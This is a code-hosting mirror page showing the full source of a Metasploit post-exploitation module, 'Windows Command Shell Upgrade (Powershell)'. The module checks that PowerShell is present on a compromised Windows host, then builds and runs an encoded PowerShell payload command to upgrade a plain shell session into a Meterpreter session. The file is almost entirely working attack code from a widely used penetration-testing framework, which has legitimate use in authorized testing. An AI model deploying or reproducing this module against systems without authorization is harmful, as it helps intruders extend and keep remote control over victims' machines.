/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
modules/exploits/windows/local/powershell_cmd_upgrade.rb
53 строки
1 KB
cgranleese-r7
Update info -d markdown
24 июн 2025, 13:21
24 июн 2025, 13:21
a454217
Код
Авторство
О чём код?
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Exploit::Powershell include Post::File def initialize(info = {}) super( update_info( info, 'Name' => 'Windows Command Shell Upgrade (Powershell)', 'Description' => %q{ This module executes Powershell to upgrade a Windows Shell session to a full Meterpreter session. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ben Campbell' ], 'DefaultOptions' => { 'WfsDelay' => 10, }, 'DisclosureDate' => '1999-01-01', 'Platform' => [ 'win' ], 'SessionTypes' => [ 'shell' ], 'Targets' => [ [ 'Universal', {} ] ], 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) end def exploit psh_path = "\\WindowsPowerShell\\v1.0\\powershell.exe" if file? "%WINDIR%\\System32#{psh_path}" print_status("Executing powershell command line...") command = cmd_psh_payload(payload.encoded, payload_instance.arch.first) cmd_exec(command) else fail_with(Failure::NotVulnerable, "No powershell available.") end end end